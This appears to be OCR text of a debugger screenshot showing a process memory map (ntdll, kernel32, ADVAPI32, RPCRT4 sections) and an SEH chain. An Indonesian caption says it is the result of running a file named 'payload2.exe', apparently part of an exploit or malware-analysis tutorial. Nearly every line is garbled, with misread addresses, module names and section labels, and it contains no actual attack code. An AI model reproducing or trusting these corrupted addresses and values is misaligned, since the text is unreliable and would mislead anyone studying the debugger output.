H e 1 E5iS SesnEeer| Hou DS: [FBESAZE], EOX 8 B ARk R
s o 1B B e el :
B + 825¢ ackhacer | HOU CUORD PR Ds: [FossAac)  Est O Ceodlde BTG NERID (Z2E
: ciF | EFL seeeez4s (NO.ME,E. BE, IS, PE.GE.LE)

BFEEF43E]

HLET ptudn, PERRFSRS ST8 ety —UNOR BEEC 21950184 B5ABDY
“DeviceHarddisklol
~Device Harddisklol I S ol
Rddress RSCIT
i gy R L TRt i
25 B FFFFFFFE
o oon GEaqorn
g GRASFFCE
FE header | Imag G21F70RR
GFGR100G| GAGEAERA ntudw | .tent | code, inpore| Inag FFFEFFFF | End of SEH chain
GFOS1000| 00044000 nrudw | .dsta | data hag 70E3564E| SE hand ler
BFOROREG| RERZEUA ntudn | .rerc | resources | Imag 7C815040) kerne 32, 70816840
76330080 Caa1 000 nag T
77000860 | EAR1E06 | ADUAFISZ FE header | Imag anaaoam
£7001000| 00075000 | ADUAPIZZ| .tent | code, inpore| Insg aEaaEaE
7PE4E000| RARS0RA AOUAPISE| dara | data hag FBEF443| ntudn, <Mod LeEn tryFaint >
77E4E080| OHA1E008 | ADUAPTSE| | rard res: a3 B20SFFFE| ARA0GRM
77ESSEAG| CIARSERA  ADUAFISZ| reloc | relocations| Inag e
T7E7000G| GAGA100G | RPCRT4 PE header | Imao oFoeiad
T7EFiaRD| Aa024000 RPCRTA | .tewt | cods, npare| Inag BEoe v v
P PE AR | AT AAR | RECRTA

Analysing ntydm: 1763 heuristical Drucedules 1292 cals to knDWn 4520 calls to guessed functions [ Paused

Pada gambar diatas merupakan hasil dari file payload2.exe



